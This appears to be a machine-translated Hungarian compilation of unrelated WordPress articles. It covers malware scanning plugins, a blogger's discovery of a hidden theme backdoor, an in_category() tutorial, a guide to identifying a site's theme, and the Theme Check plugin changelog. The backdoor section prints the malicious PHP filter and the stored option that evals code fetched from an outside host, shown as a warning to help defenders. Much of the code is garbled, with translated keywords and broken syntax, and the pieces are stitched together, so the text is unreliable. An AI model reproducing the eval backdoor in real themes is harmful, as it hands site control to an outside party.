Szükséges a webhely időszakos ellenőrzése a rosszindulatú vírusok keresésére; ez minden önmagát tisztelő webmester első parancsa. Még ha tiszta Twenty Eleven témát használ is, nem tény, hogy az idő múlásával az sem fertőződött meg. Ez a jelenség annak köszönhető (és leggyakrabban előfordul), hogy magát a WordPress-motort eredetileg online közzétételre tervezték. Így soha nem árt újra ellenőrizni és másolatot készíteni a webhelyről és az adatbázisról.

Például (természetesen egy idő után) egy következtetést vontam le magamból - csak egy jó házigazda kell, és a foglalási problémák maguktól eltűnnek. Most nem kell biztonsági másolatot készítenem az adatbázisról vagy a webhelyről – a tárhely mindent megtesz helyettem, és automatikusan. Ha kívánja, bármikor megrendelheti a blogja bármely szakaszának másolatát (és nem csak), letöltheti ezt a példányt, vagy visszaállíthatja a blogot közvetlenül a vezérlőpultról. Vagyis nem kell biztonsági másolatot letöltenem, minden automatikusan megtörténik - biztonsági mentés, visszaállítás stb. Ez azért kényelmes, mert nem csak naponként, hanem óránként is nyomon tudom követni, hogy mikor jelent meg egy vírus a blogomon, és ennek megfelelően intézkedek annak megszüntetésére.

Kezdem a jó hírrel – legalább két plugin, amit használtam, ad szép eredmények rosszindulatú kódok észlelése és lokalizálása. Ezek az AntiVirus és az Exploit Scanner beépülő modulok. El sem hiszed, mennyi rossz kód van a blogodon! De ne tekintse az ellenőrzés után kapott összes információt dogmaként - sok sor, amelyet ezek a bővítmények észlelnek, valójában nem hordoznak magukban semmi rosszat. Csak a plugin megkérdőjelez néhány sort, ennyi. Ennek ellenőrzéséhez manuálisan ellenőrizze a beépülő modul által rosszindulatúként azonosított töredékeket. Tehát a plugin ellenőrzésekor Víruskereső Kiderült, hogy a get_cache_file () függvény egyszerű meghívását is gyanúsnak tartja a plugin. Tehát az ellenőrzések összes eredményét manuálisan kell nyomon követni. De ez például egy valóban fertőzött link, és el kell távolítani:

Honnan tudod, hogy ez vírus, vagy annak kellene lennie? Minden nagyon egyszerű - hasonlítsa össze a tiszta sablont (ha van), és hasonlítsa össze (fájlról fájlra) a telepített és már néhány módosításon átesett sablonnal. Nem szükséges közvetlenül és szó szerint összehasonlítani, csak egy keresés segítségével ellenőrizze, hogy a tiszta sablon tartalmazza-e azt a sort, amelyet a bővítmény kiemelt. Ha van, kattintson az "Ez nem vírus" gombra, és ezt a sort nem veszi figyelembe a következő ellenőrzés során.

És itt van egy példa a második bővítményre, amit kipróbáltam - Exploit Scanner

Mint látható, itt minden sokkal elhanyagoltabb. Számomra ez az eredmény megdöbbentő volt. De ez még nem minden. A bővítménynek van egy olyan funkciója, mint az ellenőrzés. Így ha bekapcsolod, akkor kiderül, hogy a blog szövegből és maximum pár CSS táblából álljon. Szóval számomra úgy tűnik, hogy a bővítmény szerzője itt nyilvánvalóan túlzásba vitte a biztonságot. Még jó, hogy a beépülő modul csak megjeleníti az állítólagos fertőzött töredékeket, és nem tisztítja meg őket.

A sárgával kiemelt sorok elemzése után könnyedén észlelheti a rosszindulatú programokat (rosszindulatú kódokat), nos, hogy mihez kezd vele, az csak rajtad múlik. A tisztítási módszer továbbra is ugyanaz - összehasonlítja a kiválasztott kódot a webhely biztonsági másolatával (lásd), és ha eltéréseket talál, megtudja, hogy Ön csinálta-e, vagy valaki tette-e helyetted, ami azt jelenti, hogy ez már nem jó és kiderülhet, hogy vírus. Még a WordPress fejlesztői is azt tanácsolják, hogy ezzel a beépülő modullal ellenőrizze a webhely rosszindulatú kódját. De vannak ilyen ártalmatlan beszúrások például egy iframe törzsében, amelyeket a plugin fertőzött kódként is képes észlelni. Valójában azonban e sorok nélkül a blogod ezen része nem fog megfelelően működni.

Egyáltalán hogyan kerülhetnek rosszindulatú programok a blogfájlokba, és mi ez? A malware szó szó szerint azt jelenti: rosszindulatú szoftver , angol rosszindulatú szoftverekből. Ez minden olyan szoftver, amely a webhelyhez és annak tartalmához való jogosulatlan hozzáférésre használható. Valószínűleg azt képzeli, hogy egy képzett átlagos hacker számára nem lesz nehéz feltörni egy webhelyet, különösen regisztráció után. Ezt követően tetszés szerint módosíthatod a blog tartalmát - oktatás lenne.

Rosszindulatú programokat is be lehet illeszteni a beépülő modulokba, amelyekről telepít ismeretlen forrás, és olyan forgatókönyvekben, amelyeket néha ellenőrzés nélkül, de a szerzőben bízva vesz át. A legártalmatlanabb rosszindulatú program az oldalra telepített néhány modul szerzőjére mutató hivatkozás. És ha maga a szerző nem figyelmeztette Önt, hogy létezik ilyen hivatkozás, akkor ez már tiszta vírus.

Szóval, telepítettem egy tesztblogra új téma, és miután az oldal pincéjében eltávolítottunk egy ártalmatlan linket valamiféle férfiklubra, az egyáltalán leállt, a főn pedig egy felirat jelent meg - "Nincs jogod törölni a linkeket." Íme egy ingyenes téma az Ön számára. Az ilyen baloldali linkek kitépésének módjáról olvashatsz.

Az adatbázisa rosszindulatú kód futtatására is használható. A bejegyzésekhez vagy megjegyzésekhez is gyakran adnak hozzá spam jellegű linkeket. Az ilyen hivatkozások általában el vannak rejtve, amikor CSS segítség hogy egy tapasztalatlan rendszergazda ne lássa őket, hanem kereső rendszer azonnal megkülönbözteti őket. Természetesen itt minden levélszemét-eltávolító szerepet játszik, például az, amelyik licencelt, többszörösen ellenőrzött és újraellenőrzött. A hacker letölthet képfájl-kiterjesztésekkel rendelkező fájlokat, és hozzáadhatja azokat az aktivált bővítmények kódjához. Ezért még akkor is, ha a fájl nem rendelkezik php kiterjesztéssel, a fájlban lévő kód futtatható.

Van egy másik egyszerű eszköz is, amellyel elkezdtem ismerkedni a rosszindulatú programokkal - a Theme Authenticity Checker (TAC) plugin. Könnyű és elég erős, de csak a témákat ellenőrzi, még azokat is, amelyek nem aktívak. Nem érinti a többi könyvtárat, és ez a mínusz. A következőket kaptam, amikor ellenőriztem az aktuális témát ezzel a bővítménnyel:

Két figyelmeztetés az aktív témában, és semmi más. Nincs rosszindulatú kód. Egyébként ezeket a linkeket magam illesztettem be a Google tanácsára - a részlet minőségének javítása érdekében (személyes adatok megjelenítése, a szervezet címe stb.). De ez csak a témafájlok ellenőrzése, és hogy mi történik más könyvtárakban, azt más bővítmények vagy online szolgáltatások segítségével kell kiderítenie. Például egy ilyen szolgáltatás (megérdemli a bizalmat), mint a Yandex Webmaster vagy hasonló a Google-ban. Feladatuk, hogy minden webes erőforrást ellenőrizzenek rosszindulatú zárványok szempontjából, és ezt hatékonyan teszik. De ha ez nem elég Önnek, akkor hasonlítsa össze az eredményeket más szolgáltatások eredményeivel, és vonjon le következtetéseket.

Valamiért a Yandexnek akarok hinni, nem a bővítményeknek. Egy másik jó forrás a http://2ip.ru/site-virus-scanner/. Miután megnéztem az egyik blogomat, a következőket találtam:

Itt ellenőrizheti az egyes fájlokat is, hogy nem tartalmaz-e rosszindulatú kódot, ha kétségei vannak. Általánosságban elmondható, hogy a szolgáltatás jó.

A fentiekből a következő következtetéseket vonnám le:

1. A rosszindulatú kódok megjelenésének megelőzése érdekében mindenekelőtt megbízható szolgáltatásokat kell használnia a fájlok letöltéséhez - bővítmények, témák stb.

2. Rendszeresen készítsen biztonsági másolatot mindenről, amit a webhely tartalmaz – adatbázisokról, tartalomról, adminisztrációs panelről, beleértve a harmadik féltől származó feltöltött fájlokat is.

3. Élvezze a WordPress által kínált frissítéseket. Legalább vírusmentesek, bár funkcionálisan nem mindig indokoltak. A frissítéssel azonban eltávolítja az esetlegesen jelen lévő vírusokat.

4. Fel nem használt témák, beépülő modulok, képek és fájlok, sajnálat nélkül törölje – ez egy újabb tartalék a rosszindulatú programok számára, amelyeket talán soha nem fog kitalálni.

5. Ügyeljen arra, hogy jelszóval védje FTP-hozzáférését, a PhpAdmin bejelentkezési adatait, az adminisztrációs panelt, és általában azokat, ahol rajtatok kívül senkinek nem kellene hozzáférése.

6. Próbáld meg (még akkor is, ha ez a vágy akkora, mint az ég), ne változtasd meg vagy cseréld le a WordPress alapfájljait – a fejlesztők jobban tudják, minek és hogyan kell működnie.

7. A vírusok észlelése és eltávolítása után módosítsa az összes jelszót. Azt hiszem, nagy vágy lesz arra, hogy 148 karakterből álló jelszót készítsen különböző regiszterekben és speciális karakterekkel. De ne ragadd magad túlságosan összetett jelszavak, elvesztheti, majd mindent helyre kell állítani, ami nem túl kellemes.

Mindezek a leírt módszerek és komponensek, amelyek segítenek megszabadulni a vírusoktól, természetesen ingyenesek, szinte házi készítésűek, és természetesen nem adnak 100% -os garanciát arra, hogy webhelyét megtisztítják rosszindulatú betétek. Ezért, ha már aggódik a blog megtisztítása miatt, akkor jobb, ha kapcsolatba lép például a szolgáltatás szakembereivel Sucuri(http://sucuri.net/). Itt gondosan figyelemmel kísérjük webhelyét, gyakorlati ajánlásokat küldünk Önnek levélben, és ha nem akarja saját maga tisztítani az oldalt, akkor szakemberek állnak az Ön rendelkezésére, akik 4 órán belül mindent a lehető legjobb módon megtesznek:

Nos, így néz ki a tesztblogom monitorozás után, és ez annak ellenére, hogy más módszerek (homebrew) mindig más eredményt mutatnak. Amint láthatja, a teszt ingyenes, de ha vírusokat talál, akkor fizetnie kell azok eltávolításáért, anélkül, hogy kárt tenne a webhelyen (kivéve persze, ha Ön egy blogtisztító guru a rosszindulatú programoktól).

Még egyszer hangsúlyozom, hogy a hackerek készenlétben vannak, a vírusok folyamatosan frissülnek, és lehetetlen mindent egyedül nyomon követni. Minden újítás olyan gondosan el van rejtve és álcázott, hogy csak a csapat fedheti fel őket! szakemberek, nem az autodidakta blogger, mint sokan. Ezért olyan hatástalan a rosszindulatú programok kézi észlelése és eltávolítása: nincs tapasztalat - nincs eredmény, de vírus van. Használat licencelt programok a veszélyelhárítást pedig szakemberekre bízza

Hello barátok. Biztos benne, hogy a webhelyeihez és blogjaihoz használt ingyenes WordPress-sablon valóban biztonságos, és nem tartalmaz rejtett fenyegetéseket és rosszindulatú kódokat? Teljesen biztos vagy ebben? Teljesen?)

Azt hiszed, végigfuttatták a sablont, eltávolították belőle a rejtett linkeket, és kész. Időnként átvizsgálja a webhely fájljait egy víruskeresővel, megnézi a Yandex webmesteri eszközeit a Biztonság lapon, és megkönnyebbülten megjelenik egy üzenet: " Nem található rosszindulatú kód az oldalon«.

Én is erre gondoltam. Nem akarlak elkeseríteni, de...

Rejtett veszélyes kód ingyenes WordPress témákban

Ezt a levelet kaptam a múlt héten postán a vendéglátómtól. Nemrég bevezették az összes webhelyfájl rendszeres ellenőrzését rosszindulatú tartalom szempontjából, de mégis megtalálták bennem ezt a tartalmat!

Az egész azzal kezdődött, hogy egy nap felkerestem a webhelyemet, és nem tudtam elindítani - egy sértő felirat jelent meg a nem található php kiterjesztésű fájlokról. Kicsit megfeszültem, és áttanulmányoztam a mappa tartalmát a tárhelyen lévő oldallal, és azonnal felfedeztem egy problémát - a fuctions.php sablonfájlomat átnevezték Functions.php.malware-re, ami félreérthetően utalt - itt működött egy vírusirtó vagy valami hasonló) Miután beírtam a levelet, megtaláltam a fenti jelentést a hostertől.

Először természetesen elkezdtem ellenőrizni ezt a fájlt, áttanulmányoztam a tartalmát, átkutattam mindenféle víruskeresővel, több tucat online víruskereső szolgáltatással stb. - végül nem találtam semmit, mindenki egyöntetűen azt állította, hogy a fájl teljesen biztonságos. Természetesen kétségeimet kifejtettem a házigazda felé, mondván, hogy valamit elrontott, de minden esetre megkértem, hogy tegyenek jelentést egy rosszindulatú kódrészlet felfedezéséről.

És ezt mondták nekem

Elmentem a google-ba erről a kódról, és komolyan elgondolkodtam rajta...

Hogyan lehet megtalálni egy rosszindulatú kódrészletet a sablonban

Mint kiderült, ez egy igazán nem triviális trükk, amely lehetővé teszi az érdeklődők számára, hogy az Ön tudta nélkül adatokat vigyenek át az Ön webhelyére, és módosítsák az oldalak tartalmát! Ha ingyenes sablont használ, akkor Erősen ajánlom, hogy ellenőrizze a functions.php fájlt a következő kódért:

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content)(
globális $posta;
if(is_single() && ( [e-mail védett](get_option('blogopció'))) !== false)(
return $co;
) else return $content;
}

Még a nagyon sekélyes php ismereteim mellett is látható, hogy készül egy bizonyos szűrő, ami a globális változóhoz kötött bejegyzéshez és tartalomhoz van kötve, amelyek felelősek azért, hogy csak a blogbejegyzés oldalakon jelenjenek meg a tartalom (is_single feltétel). Már gyanús nem? Nos, most lássuk, mit fog ez megjeleníteni adott kódot honlapunkon.

Az adatbázisban kért érdekes blogopció is nagyon gyanúsnak tűnik. Bemegyünk a MySQL adatbázisunkba, és ott találunk egy wp_options táblát, ha nem változtatta meg az előtagokat, akkor alapértelmezés szerint így fog kinézni. És benne találunk egy számunkra érdekes vonalat, amit blogopciónak hívnak

Micsoda szépség! A következő lehetőséget látjuk

return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

Azok. egy bizonyos oldalról (ráadásul oroszról, ne feledd) olyan tartalmat adunk vissza, amely bármit hordozhat! Bármennyi link, rosszindulatú kód, megváltoztatott szöveg stb. Maga az oldal, amikor hozzáfér, 403-as hozzáférési hibát ad ki, ami nem meglepő. Természetesen ezt a lehetőséget is kivettem az adatbázisból.

Az áldozatoktól származó információk szerint általában pontosan a cikk tartalmát küldik vissza egyetlen módosítással - a "pont" helyett. nyitott linket rejtettek el a szövegben! És mellesleg ez az opció akkor íródik be az adatbázisba, amikor maga a sablon telepítve van, majd az ezt végrehajtó kód biztonságosan önmagát megsemmisíti. És két évig éltem ilyen szeméttel, és egyetlen vírusirtó vagy szolgáltatás sem tárta fel előttem ezt a veszélyt ennyi ideig. Hogy őszinte legyek, nem vettem észre, hogy ez a technika működött-e valaha, vagy a biztonsági bővítményem blokkolta ezt a lehetőséget (vagy talán valamelyik WordPressa frissítés zárta be ezt a lyukat), de ez így is kellemetlen.

A szabad sajt morálja

Hogy tetszik a sablonok "fordítóinak" (vagy azoknak, akik közzéteszik a katalógusukban) kifinomultsága? Nem neked kell kivágnod a linkeket a láblécből) Kár, hogy nem emlékszem, honnan töltöttem le a sablonomat, nagyon régen volt, különben írtam volna egy-két szeretetteljest. És ha annak idején ugyanazt a tapasztalatot szereztem volna, mint most, akkor biztosan nem használnék ingyenes sablont, vagy extrém esetben nem töltenék le ismeretlen forrásból!

Egyszerűbb 15-20 dollárért vásárolni valami hivatalos prémium sablont ugyanazon, és békében élni, tudva, hogy nincsenek benne lyukak és titkosított hivatkozások, és még ha vannak sebezhetőségek is, a fejlesztők biztosan kiadnak egy frissítést, amiben ezek a lyukak be lesznek zárva. ( Artem egyébként nemrég publikált egy cikket, ahol csak a prémium sablonokról beszél, és még promóciós kódokat is oszt brutális kedvezményekre az érdeklődőknek.)

Képzelje el, hogy rekordokat jelenít meg, és módosítania kell megjelenés rubrikától függően. Például van egy "A SZERZŐRŐL" blokk, amely egy cikk szerzőjével kapcsolatos információkat jelenít meg, de nem szeretné látni ezt a blokkot, például olyan kategória bejegyzései alatt, amelyben ez nem szükséges. Ezenkívül letilthatja a megjegyzéseket bizonyos kategóriákban, bélyegképekben stb. Minden az Ön igényeitől és fantáziáitól függ. Személy szerint nagyon gyakran használom ezt a feltételt.

A bejegyzések kategória szerinti szűréséhez a funkció segít - in_category(). Ez a funkció ellenőrzi, hogy az aktuális vagy adott bejegyzés a kívánt kategóriába, jól vagy több kategóriába tartozik-e. Leggyakrabban ez a funkció egy fájlban kerül kiadásra single.php, mert ő a felelős a rekordok megjelenítéséért.

A függvény használatának legegyszerűbb módja valahogy így nézne ki. Ezt a kódot hozzáadjuk a single.php fájlhoz, ha szükséges, csatoljuk a címkéket PHP-ben.

A PHP címkék így néznek ki:

Ha a témája többnyire HTML-kódot használ, akkor változtatás nélkül illessze be az alábbi kódot. Ha főleg PHP-t használunk, akkor a kódot tartalmazó címkék eltávolíthatók.

Ebben a kódban azt a feltételt állítottuk be, hogy ha az aktuális bejegyzés 12-es azonosítójú kategóriába tartozik, akkor valamit meg kell jeleníteni. Amit csak akar, adjon hozzá a göndör fogszabályozó belsejébe. PHP kódnak kell lennie, ha nehéz és HTML kódot kell hozzáadnia, akkor törje meg a kódot ugyanazokkal a PHP címkékkel, és a kód ilyen lesz:

//ide a szokásos HTML kódot írjuk, vagy csak szöveget.

A kategóriák azonosítójának meghatározásához az adminisztrációs panelen a kategóriák listájára kell lépnie, és az egérmutatót a kívánt fölé kell vinnie. A böngészőablak alján, jobb oldalon megjelenik egy link, amiben valami ID=1 lesz, vagyis ennek a kategóriának az azonosítója 1.

Ha több kategóriát kell megadnia, akkor azokat vesszővel válassza el. Előfordulhat, hogy létre kell hoznia egy "HA - THEN" feltételt is, akkor a kód valami ilyesmi lesz:

Képzelje el, hogy a 12-es rubrikában egy bejegyzés indexképet kell megjelenítenie, és a többi rubrikából származó bejegyzések szövegének első képét. Megtörténik ez és hogyan kell csinálni? A fenti kóddal. A rekord első képének kimenetéről a cikkben olvashat -

Most még egy olyan funkciót szeretnék bemutatni, amely hozzáadható ehhez a funkcióhoz. Előfordul, hogy a rubrikáknak alkategóriái, vagyis gyermekkategóriái vannak. És ha a bejegyzés valamelyik alkategóriába tartozik, akkor a feltétel megkerüli azt. Ha erre van szüksége, akkor nem érinthet semmit, de ha ennek ellenére a feltételnek működnie kell az alcímeknél, akkor hozzá kell adnia a feltételhez egy kiegészítést. Először is hozzá kell adnia a következő részt magához a feltételhez - || post_is_in_decendant_category(12). Ez az új funkciónk hívása, amely ellenőrzi az alkategóriákat. A kész kód így fog kinézni:

Ahhoz, hogy egy új függvény működni tudjon, magának ennek a függvénynek a kódját kell hozzáadnia, vagyis meg kell írnia. Ehhez keresse meg a fájlt az aktív témával rendelkező mappában függvények.php, amely a felhasználó által definiált függvényeket tartalmazza. Ha nem ismeri a PHP-t, akkor kódot kell hozzáadnia a fájl legvégéhez, de ha van egy záró PHP címke - ?> , akkor hozzá kell adnia előtte. Maga a kód így néz ki:

Függvény post_is_in_descendant_category($cats, $_post = null) ( foreach ((tömb) $cats mint $cat) ( // get_term_children() csak egész szám azonosítót fogad el $descendants = get_term_children((int) $cat, "category"); if ($leszármazottak && in_category($leszármazottak, $_post)) true; ) return false; )

Ha mindent helyesen csinált, akkor az Ön feltétele bizonyos kategóriákhoz és azok alkategóriáihoz kiválasztja a bejegyzéseket.

Nagyon régen kezdtem el írni ezt a cikket, de nem minden kéz ért a végére, aztán az egyik, majd a második megszakadt. Végül a cikk véget ért, és talán sokan segítenek a probléma megoldásában.

Ennyi, köszönöm a figyelmet. 🙂

Gondolkozott már azon, hogy egy adott webhely milyen témát használ?

Gyakran a tökéletes téma keresése során más befejezett projekteket nézünk meg, hogy valami hasonlót találjunk, vagy elkészítsük oldalunkat ugyanarra a témára, csak saját egyedi tervezéssel.

Ebben az oktatóanyagban bemutatjuk azokat az eszközöket és trükköket, amelyek segítségével megtudhatja, milyen témát használ ez a WordPress webhely.

1. módszer: IsItWP ellenőrző webhely

A legegyszerűbb, ha felkeresi az isitwp.com webhelyet, és megnézi az Önt érdeklő webhelyet.

Ez egy online eszköz, amely megmutatja, hogy a WordPress milyen témát használ, és hogy a WordPress használatban van-e egyáltalán az oldalon.

Ha az oldalon WordPress fut, az IsItWP megpróbálja kideríteni az aktuális téma nevét.

Azt is megpróbálja kideríteni, hogy milyen aktív bővítményeket használnak a webhelyen:

Ha szerencséd van, és ez nem egyéni vagy gyermektéma, akkor az IsItWP megadja a téma nevét, és tovább kereshetsz a téma után.

2. módszer: Határozza meg kézzel

Néha a webhely tulajdonosai vagy fejlesztői megváltoztatják a natív webhely nevét WordPress témák. Ebben az esetben az olyan eszközök, mint az IsItWP, nem fognak tudni segíteni.

De még így is előfordulhatnak különféle tippek a webhely kódjában, amelyek segítenek kitalálni, hogy milyen témát telepített.

Lássuk.

Minden WordPress témának rendelkeznie kell a stílus.css. Ez a fájl tartalmaz egy fejlécet, amely általában a téma nevét, szerzőjét, verzióját és a téma fejlesztői webhelyét jelzi. Meghatározza a téma által használt egyéb css-sablonokat is.

A fájl megtalálásához először magára a webhelyre kell mennie. Kattintson a jobb gombbal valahova a főoldalon, és navigáljon a forráskód nézethez ( Oldal forrásának megtekintése).

Az oldal főoldalának forráskódja a böngészőben új lapon nyílik meg.

Most meg kell találnia egy kódsort, amely valahogy így néz ki:

A dolgok megkönnyítése érdekében kereshet ezen a lapon a következő kódrészlettel témákat". Ez annak a könyvtárnak a része, ahol a stílus.css.

Így megtalálja a style.css fájl elérési útját, és ezt a fájlt közvetlenül a böngészőben, egy új lapon nyithatja meg.

A style.css tetején lesz egy fejléc címsorral (amiről fentebb beszéltünk). Ez a témával kapcsolatos szolgáltatási információ. Valahogy így néz ki:

/* Téma neve: Téma neve Téma URI: https://example.com Szerző: ThemeAuthorName Szerző URI: https://example.com Leírás: A My Theme egy rugalmas WordPress téma, amelyet portfóliówebhelyekhez terveztek Verzió: 1.1.47 Licenc: GNU General Public License v2 vagy újabb Licenc URI: http://www.gnu.org/licenses/gpl-2.0.html Szöveg Domain: hestia Címkék: blog, egyéni logó, portfólió, e-kereskedelem, rtl-language-support , utólagos formátumok, rács-elrendezés, egyoszlopos, kétoszlopos, egyéni háttér, egyéni színek, egyéni fejléc, egyéni menü, kiemelt képfejléc, kiemelt képek, rugalmas fejléc, teljes szélesség -sablon, ragadós bejegyzés, témabeállítások, szálas megjegyzések, fordításra kész */

Ebből a blokkból megtudhatja a téma nevét és a fejlesztő címét. Ezután már csak meg kell találni ezt a témát az interneten.

3. módszer. Hogyan találjuk meg a szülőtémát

Sok webhely gyermektémákat használ a megjelenés testreszabásához. És ez teljesen helyes megközelítés.

Ebben az esetben, ha megtalálta a fájlt stílus.css egy gyermektémáról, a fejléc a szülőtémáról tartalmaz információkat:

/* Téma neve: Gyermekem Téma leírása: Csak egy gyerek téma Szerző: Peter Smith Szerző URL: Ide írja be a szerző blogjának vagy webhelyének URL-jét Sablon: hestia Verzió: 1.0 Licenc: GNU Általános Nyilvános Licenc v2 vagy újabb Licenc URI: http :/ /www.gnu.org/licenses/gpl-2.0.html Szövegdomain: my-child-theme */

A fenti példában a " Sablon", ami azt jelenti, hogy a "Hestia" szülőtémát használják ehhez a gyermektémához.

A szülőtémáról a 2. módszerben leírt forráskódból is tájékozódhat. A kódban nemcsak a gyermektémából, hanem a szülőtémából is találunk hivatkozást a style.css fájlra.

De ne felejtsük el, hogy a fejlesztő megpróbálhatja megváltoztatni a style.css összes fejlécét a sajátjára, ebben az esetben nagyon nehéz lenne meghatározni az eredeti témát.

A témaellenőrző beépülő modul egyszerű módja annak, hogy tesztelje a témáját, és ellenőrizze, hogy megfelel-e a legújabb téma-ellenőrzési szabványoknak. ezzel, tudsz ugyanazokat az automatizált tesztelőeszközöket futtassa a témán, amelyeket a WordPress.org a témabeküldéshez használ.

A tesztek egy egyszerű adminisztrációs menün keresztül futnak, és minden eredmény egyszerre jelenik meg. Ez nagyon hasznos a témafejlesztők számára, vagy bárki számára, aki meg akar győződni arról, hogy témájuk támogatja a legújabb WordPress témaszabványokat és gyakorlatokat.

Trac formázás engedélyezése

A Theme Review csapat ezt a beépülő modult használja a témák áttekintése közben, és a kimenetet másolja/illessze be nyomkövetési jegyekbe, a nyomkövetési rendszernek saját jelölőnyelve van.
A trac formázás engedélyezéséhez a Theme-Checkben meg kell határoznia néhány változót a wp-config.php fájlban:
TC_PREés TC_POST jegy fejlécként és láblécként használatosak.
Példák:
define('TC_PRE', 'Téma áttekintése:[]
- A témákat a "define(\'WP_DEBUG\', true);" használatával kell áttekinteni. wp-config.php[]
— A témákat a témaellenőrző listák (TC) tesztadatai alapján kell áttekinteni.
——
‘);

Define("TC_POST", "Bátran használja az alábbi elérhetőségeket, ha bármilyen kérdése, megjegyzése vagy visszajelzése van:[] [] * Hagyjon megjegyzést ehhez a jegyhez[] * Küldjön e-mailt a témaáttekintő e-mailre list[] * Használd a #wordpress-themes IRC csatornát a Freenode-on.");

Ha bármelyik e két változó közül egy új trac jelölőnégyzet jelenik meg a mellett Ellenőrizd! gomb.

Gyakran Ismételt Kérdések

A verziószám a létrehozásához használt irányelvek felülvizsgálatának dátuma.

Miért jelöl meg valamit rossznak?

Ez nem a "rossz" dolgok megjelölése. A témaellenőrzés nem tökéletes módja a téma áttekintési irányelveinek való megfelelés tesztelésének. Nem minden témának kell megfelelnie ezeknek az irányelveknek. Az ellenőrző eszköz célja annak biztosítása, hogy a központi WordPress.org tématárba feltöltött témák megfeleljenek a WordPress témák legújabb szabványainak, és számos webhelyen működjenek.

Sok webhely testreszabott témákat használ, és ez teljesen rendben van. Azoknak a témáknak azonban, amelyeket sokféle webhelyen kívánnak használni a nyilvánosság számára, rendelkezniük kell egy bizonyos minimális szintű képességgel, hogy biztosítsák a megfelelő működést számos különböző környezetben. A témaáttekintési irányelvek ezt a célt szem előtt tartva készültek.

Ez a témaellenőrző nem tökéletes, és soha nem is lesz az. Ez csak egy eszköz a téma szerzőinek vagy bárki másnak, aki képessé akarja tenni témáját. A WordPress.org-ra beküldött összes témát egy szakértői csapat kézzel értékeli. Az automatizált témaellenőrző csak hasznos eszköz, nem pedig abszolút mérési rendszer.

Ez a bővítmény nem döntsön az alkalmazott irányelvekről. A téma áttekintésével kapcsolatos bármely problémát a Make Themes webhelyen kell megvitatni.

Vélemények

Ez egy nagyszerű bővítmény mindenki számára, aki igazán szeret WordPress témát fejleszteni, és sikeresen tesztelni az alapvető WordPress szabványokat. A hibák a „Kötelező”, „Figyelmeztetés”, „Ajánlott” és „Információ” részben vannak elkülönítve. Adja meg a hibára vonatkozó alapvető információkat is, és segít megérteni, hol van a probléma.

Tagok és fejlesztők

A Theme Checker egy nyílt forráskódú projekt. A következő közreműködők járultak hozzá a bővítmény fejlesztéséhez:

Változási napló

20190801.1

• Javítsa ki a hiányzó nonce és nonce ellenőrzést az adminisztrációs oldalon. támogatja Steven Sternt, hogy jelentse a problémát a bővítmények csapatának. Bár ez technikailag egy CSRF, nem származik belőle sebezhetőség, mivel az űrlappal csak egy téma átvizsgálása lehetséges.

20190208.1

• Új stílusok hozzáadása a blokkszerkesztőhöz. Lásd: https://meta.trac.wordpress.org/ticket/3921

20160523.1

• Javítsa ki a kötőjellel ellátott témaneveket
• A megjegyzések lecsupaszítják a változtatásokat
• A téma áttekintő csapata és mások sok változtatást végeztek. A változtatások teljes listájáért lásd a Githubot.

20151211.1

• Teljes szinkronizálás a Githubbal és az ott történt összes változással.
• Kiadás az elavult 4.4-es funkciókhoz.

20140929.1

• Új ellenőrzések és frissítések hozzáadva Frank Kleintől az Automattic-nál. Köszi Frank!
• Frissített elavult funkciók listája
• Testreszabó ellenőrzése: A biztonság érdekében minden add_settingnek fertőtlenítési visszahívást kell használnia
• A beépülő modulok területének ellenőrzése: A témák nem regisztrálhatnak bejegyzéstípusokat vagy taxonómiákat, és nem adhatnak hozzá rövid kódokat a bejegyzéstartalomhoz
• Widgetek: A register_sidebar hívásait a widgets_init akcióhookból kell meghívni
• Cím: A címkéknek létezniük kell és nem van bennük más, mint a wp_title()
• CDN: A gyakori CDN-ek használatának ellenőrzése (csak ajánlott)
• Megjegyzés: A bővítmény és a szerzői URI megváltozott, mert a régi URI-k érvénytelenek. Ezek a jövőben ismét változhatnak, a saját webhelyem URI-jei csak átmenetiek.

20131213.1

• Javítottuk azokat a hibákat, amelyeket a plugin nem jelenít meg, és mindenre hibásan "pass" eredményt adott.

20131212.1

• Frissítve 3.8-ra
• A legtöbb fájl megváltozott a jobb I18N támogatás érdekében, ezért a nyelvi fájlokat ideiglenesen eltávolítottuk, amíg újra nem lehet fordítani.

20121211.1

• Frissítve 3.5-re
• Távolítsa el a PayPal gombot.

20110805.1

• TimThumb ellenőrzések eltávolítva.
• A képernyőkép előnézete az eredmények között látható, fájlmérettel és méretekkel.

20110602.2

• Az új fájllista funkciók rejtett mappák már észlelhetők.
• Jobb fopen ellenőrzések.
• Tim Thumb verzió bump

20110602.1

• A DOS/UNIX sorvégi stílus ellenőrzése ma már a megfelelő témafeltöltés követelménye.
• Timthumb verzió bump
• GaryJ számos javítást jelentett
• 3.2 elavult funkciók hozzáadva

20110412.1

• Javítsa ki a reguláris kifejezéseket
• Hozzáadott ellenőrzés a legújabb lábléc-befecskendezéshez.
• Javítsa ki a címkék ellenőrzését az új tartalom funkció megfelelő használatához
• A wporg uploader theme-check összes módosításának szinkronizálása.
• Frissített ellenőrzési bejegyzés 3.1. képernyőkép-ellenőrzés hozzáadva az svn-hez.
• Javítsa ki a hivatkozások ellenőrzését, hogy bizonyos esetekben ne adjon vissza hamis hibát
• rm az egyik ellenőrzés, amely problémákat okoz a wporg feltöltőben (és ami szintén szükségtelen)
• Helyezze át a szükségtelen függvényeket az ellenőrzőbázisból a main.php fájlba.
• Csak kisebb formázási változtatások (szóköz és hasonlók)
• Add check for wp_link_pages() + fix eval() check

20110219.2

• Gua Bob új felhasználói felület kellékei egyesítve
• Az utoljára tesztelt téma mindig előre ki van választva a témalistában.
• Javítva a php hiba az admin_menu.php fájlban

20110219.1

• Lásd a véglegesítési naplót a változásokért.

20110201.2

• UI hibajavítások fórumbejegyzések kellékei Mamaduka.
• A Textdomain huszonöt ellenőrzi, és nincs domain.
• Javítsd ki a div nem záró kellékeket Mamaduka.

20110201.1

• i18n működik
• sr_RS de_DE ro_RO langs kellékek Daniel Tara és Emil Uzelac.
• Gyermektéma-támogatás hozzáadva, a szülő ÉS a gyermek ellenőrzése futásidőben.
• Nyomtatás formázása gomb hozzáadva a véleményezők számára.

20101228.3

• Utolsó verzió a 3.1-hez (remélhetőleg)
• Chips javaslatot tesz arra, hogy ellenőrizze, hogy szerepel-e a searchform.php (nem
  még tökéletes, további példákat kell keresni).
• Az add_theme_page megadása kötelező, az összes többi megjelölve és sorral együtt jelenik meg
  számok.
• Többnyire nemzetközi, most fordításra van szüksége.
• Hibajavítások.

20101228.2

